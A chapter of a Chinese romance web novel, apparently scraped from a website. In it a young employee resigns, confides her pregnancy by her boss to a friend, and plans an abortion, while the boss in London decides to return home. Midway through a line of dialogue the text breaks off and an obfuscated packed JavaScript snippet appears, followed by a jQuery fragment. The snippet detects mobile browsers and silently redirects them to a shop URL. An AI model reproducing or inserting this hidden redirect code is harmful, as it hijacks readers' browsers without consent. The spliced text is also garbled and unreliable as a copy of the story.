章柒月有些怔愣,没想到刘经理的反应会这么大。
刘铭也很快意识到自己的失态,他迅速瞥了一眼办公室玻璃墙外侧头看来的员工,清了清嗓子,伸手示意:“柒月,你先坐,坐下说。”
章柒月沉默地在一旁的椅子上坐下,她知道自己刚转正就要辞职有些突然,而且刘经理对她还算照顾,她也有些难以启齿。
可是现在,她不得不这样做。
刘铭端起桌上的咖啡,猛灌了一大口先压压惊,傅总现在人还在国外,庄特助那边也没透出任何风声。
他哪敢在这个节骨眼上随意动这位小祖宗,否则等傅总回来,第一个死的就是他!
“柒月啊,”刘铭放下杯子,语气放得和缓,“你刚转正不久,工作表现大家有目共睹,怎么突然就要辞职呢?是不是家里有什么急事?还是身体不舒服?要不我再给你批几天假,你调整好了再回来上班也可以。”
他一边说着,一边小心地观察着章柒月的表情。
章柒月也有些尴尬,不过还是硬着头皮说道:“谢谢经理,不过我已经考虑清楚了,真的很抱歉。”
这一句话也不透露……
刘铭心里咯噔一下,难不成真是和傅总分手了?可庄总助也没暗示啊?难道是这小祖宗自己决定的?那更吓人了!
刘铭只觉得一个头两个大,大脑飞速运转着,眼下最重要的是先稳住她。
他换上了一副公事公办的表情,“你既然不想多说,我也尊重你的选择。不过你也知道公司的规章制度,正式员工的离职,不是我个人能直接批准的,需要先上报给总监,再交由人力资源部处理。”
这个流程章柒月还是知道的,她点点头没有异议。
刘铭悄悄松了口气,“这样,你的辞职报告我先收下,你暂时先回去正常工作,该交接的工作可以开始慢慢准备。等我这边按流程上报,有了明确答复,我们再正式办理手续。”
“好的,经理,那我先回去了。”
刘铭如释重负的点头,“好,你先回去,有什么困难,随时跟我说。”
章柒月再次谢过刘经理后,推门走出了办公室。
门关上的瞬间,刘铭脸上的笑容立刻垮了下来,他低头看着桌上那份辞职报告,片刻不敢耽误的直接打给了庄总助。
中荣集团伦敦分公司偌大的会议室内此刻坐满了中欧项目的负责人,傅中庭坐在主位看着前方的投影,庄睿坐在靠后一排的助理座位上也在认真听着汇报,时不时在笔记本上记录一些数据。
手机屏幕骤然亮起,庄睿侧头看去居然是刘铭的电话?
庄睿想起撤下去的新闻,立刻猜测是不是章小姐在国内出了什么问题,他放下笔记本俯身快步退出了会议室。
“刘经理,出什么事了?”
“庄总助,有件急事……”刘铭语速飞快地低声汇报起来。
庄睿很快挂断了电话,眉头紧蹙,脑海中立刻做出了紧急预案。
重新回到会议室时汇报还没有结束,他重新坐回傅总身后,不过一半心思已经不在这间会议室里,快速给大洋彼岸的郭臣布置着后续工作。
而徐园园同样无心工作,当柒月走出经理办公室时,她也连忙和其他人一样纳闷的朝她看去。
还没等柒月坐下,徐园园就拉着她下楼,去了楼下那家她们常去的咖啡店,找了个最僻静的角落坐下。
她随意点了两杯拿铁,看了眼周围着急的问道:“柒月,你怎么突然要离职呢?是遇到什么麻烦了吗?我能不能帮上什么忙?”
入职以来,徐园园是她在中荣为数不多诚心相待又互相帮助的朋友,可是这次事关傅中庭,她还是不能说出实情。
章柒月先诚恳地道谢:“园园,谢谢你,不过我真的没什么麻烦。”
然后,她按照早已准备好的说辞,解释道:“其实是因为我和朋友合伙开了一家小公司,今年事情比较多,我实在没办法同时兼顾两边。而且你也知道,中荣对员工在外参与经营类项目是有规定的。我前期也投入了不少心血和资金,考虑过后,还是决定辞职,专心去经营工作室。”
徐园园听完,紧绷的神情放松了下来,“吓死我了,我还以为你遇到什么麻烦了呢,原来是这样啊。”
她拿起服务生刚送来的咖啡,喝了一口,“确实,以后如果被发现还更麻烦。而且你自己有事业发展,那当然比在中荣这里熬资历、看人脸色强多了。这是好事啊柒月,恭喜你!”
徐园园是真心为章柒月感到高兴,她一直觉得柒月能力强,性格也好,而且平时看的出来家里条件也不错,现在有这个自己发展是个好机会。
“就是有点舍不得你。”徐园园撇撇嘴,又有些感慨起来:“以后不能一起带薪八卦了,不过没关系,等你工作室做大做强了,可以把我挖过去呢!”
“嗯,一定。”章柒月真诚的点头。
两人坐了一会回到了办公室,徐园园很快开始了工作,而章柒月因为已经提出离职,不可能再接手新项目,手头只剩下一些收尾和整理工作,难得地清闲下来。
离职是板上钉钉的事,但临近新年假期,流程走完最快估计也要等到年后才能正式办理,现在有时间干脆开始整理经手的项目准备做交接。
轻松的一天很快结束,章柒月还在回家的路上接到了安琪的电话,说买了披萨和炸鸡,要过来一起吃饭,正好一起商量后天公司团建的事。
齐澜目前规模不大,总共有十二人,前几天一起吃饭的时候,小姨就有建议她们不要学企业办什么年度年会,不如换成实际的福利,既省事员工还喜欢。
两人考虑过后都觉得小姨说的有道理,所以今年年底直接改成了晚上聚餐外加红包和福利。
她到家刚换好衣服卸完妆,门铃就响了。
安琪拎着两个香气扑鼻的纸盒,风风火火地走了进来,熟门熟路地换上拖鞋,直奔餐厅。
“饿死我了!今天在库房盯了一天,中午就啃了个三明治!”安琪一边嚷嚷,一边手脚麻利地将披萨盒和炸鸡桶打开,诱人的香气瞬间弥漫了整个餐厅。
披萨是她喜欢的奥尔良鸡肉口味,上面铺着厚厚的芝士和菠萝块,炸鸡金黄酥脆,散发着油脂的焦香。章柒月看着,觉得炸鸡有些过于油腻,她只吃着披萨和一旁的小食。
安琪直接抓起一块炸鸡,狼吞虎咽,连啃了两大块,又灌下半杯冰可乐,才舒坦地叹了口气,放慢了速度。
“哎呀,差点忘了!”
安琪突然想起什么,擦擦手,转身跑到玄关,拎回来一个包装精致的纸袋,上面印着“青梅酒肆”的LOGO,那是她们以前去过几次,章柒月很喜欢的一家酒馆。
“回来路上正好路过,想起你爱喝他家的青梅酒,就买了一壶。度数不高,酸甜开胃,正好配炸鸡!”
她拿出那个古朴的陶瓷酒壶和两个小杯,先斟满一杯拿给柒月,琥珀色的酒液在杯中荡漾,散发出清冽的梅子香气。
章柒月接过后没有喝,只是慢慢转动着冰凉的杯口,目光落在微微晃动的酒液上,沉默了片刻,才轻声开口:“我今天办理离职了。”
“啪嗒!”
陶瓷酒壶的壶嘴轻轻磕在了杯沿,发出轻微的声响。
安琪的动作滞了几秒,然后才继续将酒倒满,“好啊,上次我就说让你离职,要不这样两头忙,你身体肯定吃不消。正好年后回来我们一起,姐妹同心,其利断金,肯定会让公司越来越好!”
说着,她又分了一块披萨,放到章柒月面前的盘子里,“多吃点,今天这披萨味道不错。”
她绝口不提傅中庭一个字,其实就算柒月什么都不说,她也能猜到,柒月心里对傅中庭不可能没有感情。
现在傅中庭联姻的新闻在公司里传得沸沸扬扬,柒月每天还要若无其事地去上班,心里该是多么难受。
离职对她来说,也算是一种解脱,远离傅中庭的生活,时间长了,渐渐也就放下了。
章柒月放下酒杯,抬眸看向安琪摇了摇头,“不是,因为我怀孕了。”
“哗啦——!”
安琪手中的酒壶脱手倒在桌面上,酒液瞬间倾泻而出,顺着桌沿滴滴答答往下淌。
章柒月一惊,连忙探身扶起滚动的酒瓶。
然而,还没等她去拿纸巾擦拭桌面,安琪嚯地一下站起身,动作大得带倒了身后的椅子,她脸色铁青的转身就往外走。
章柒月顾不上满桌狼藉,快步上前,一把拉住安琪的手臂。
安琪下意识地就想甩开,可下一瞬,她突然动作硬生生顿住,转过身怕误伤到柒月。
“安琪,你听我说!”章柒月双手紧紧拉住她,“这是我自己的问题,和傅中庭没关系!”
“人渣!”安琪从牙缝里挤出两个字,她气得浑身发抖,口不择言地怒骂,“傅中庭这个王八
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954115|183807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛋!不负责任的混蛋!他就是欺负你心软。”
“不是的,安琪,你听我说!”章柒月怕安琪冲动,用力摇头,“这只是个意外,而且是我主动的,我以为是安全期所以就没在意,真的和他没关系。”
可安琪哪里听得进去这些,她现在满脑子都是怒火,还有对柒月心疼与愧疚。
她气傅中庭那个衣冠禽兽如此不负责任,更气自己!
气自己明明知道柒月在感情上单纯,明明知道傅中庭那种身份的男人危险又复杂,却没能更坚决地拦住她,柒月哪里会是那种在情场和商场都游刃有余的男人的对手?她早该想到的!
傅中庭现在风光无限,即将迎来门当户对的联姻;而她的柒月却要受这种苦。
这太不公平了!
她拼命深呼吸,强迫自己将冲去找傅中庭拼命的冲动暂时压下去。
现在不是冲动的时候,最重要的是柒月,是她的身体和她的决定。
她努力保持冷静,“好,好,我们先不说那个混蛋。柒月,你现在打算怎么办?”
章柒月拉着她,在沙发上坐下。
“我不能要这个孩子,安琪。”她很冷静的看向安琪,“现在小姨和傅董事长的感情稳定下来了,如果我生下这个孩子,就算我能瞒住小姨,可纸包不住火,以后两家难免会有交集,这个孩子的存在,还是有可能会暴露。”
她顿了顿,指甲也掐进掌心,“而且,傅中庭就要联姻了,这个孩子不该在这种时候来到这个世界上,我不想用这个孩子群捆绑任何人,但我也不希望他受到任何非议。”
安琪紧紧抿着唇,没有说话。
章柒月已经都想过了,“但是马上就要放新年假期了,我还没有离职,如果现在做手术,术后根本没办法上班,还会引起议论;而且年假我们还要回家,这个时候不能动手术,不可以让小姨发现。所以,我打算等假期结束,从家里回来后再去医院。”
“好!”安琪没有丝毫犹豫,立刻答应,“等假期回来,我陪你去。手术后我搬过来照顾你,或者再提前找个专业的阿姨,一切都有我,柒月,你别怕!”
安琪紧紧地抱住章柒月,飞快地用手背抹去眼角溢出的泪水。
她深吸一口气,闻到了从越发浓郁的酒气,这才反应过来,立刻站起身,还顺势将章柒月轻轻按回柔软的沙发里。
“你坐着别动,我去收拾。这酒味大,你闻着该难受了。”
“我真没事,一点反应都没有。”章柒月想起身帮忙。
安琪态度十分强硬:“那也不行,你现在就得万事小心!”
章柒月知道拗不过她,只能乖乖听话,安琪这才撸起袖子去餐厅收拾狼藉。
临走前,她还不放心地用手机查了一堆注意事项,絮絮叨叨叮嘱了一大堆,才拿着收拾好的垃圾离开。
--
伦敦。
冬日的午后,天色阴沉,一场冗长的跨国并购会议终于结束,时间已近下午一点。
傅中庭欧洲总部的傅二叔并肩走在光可鉴人的走廊里,交谈着后续安排,准备下楼用餐,庄睿及其众人跟在身后随行。
一行人到达地下车库,傅中庭与二叔道别,各自上了自己的座驾。
庄睿立刻从前排副驾驶位侧过身:“傅总,企划部刘铭汇报说章小姐今天在公司提交了书面辞职报告,他不敢擅自做主,暂时先将报告压了下来。
汇报完毕,庄睿保持着侧身的姿势,屏息凝神,心都提到了嗓子眼。
傅中庭联姻的新闻突然爆出时,他们正在国际航班上,落地后又立刻被密集的欧洲事务缠身,再加上林氏在暗中推动,虽然他第一时间动用关系迅速撤下,但该看到的人,恐怕都已经看到了。
如果章小姐真的是因为这件事而选择辞职……
那后果庄睿简直不敢细想,整个总裁办恐怕都要跟着遭殃。
寂静持续了大约十秒。
傅中庭脸上没什么表情,只是目光微沉,落在车窗外飞速倒退的、湿漉漉的伦敦街景上。
他没有立刻回应,修长的手指在身侧的真皮座椅上,轻轻敲击了一下,“按公司正常流程办理。”
庄睿一怔:“……是。”
尽管心中惊疑不定,但庄睿还是立刻应下,他不敢多问,正准备转回身去听傅总再次开口:“安排专机,明天会议结束后,我提前回国,你留下处理后面的收尾工作。”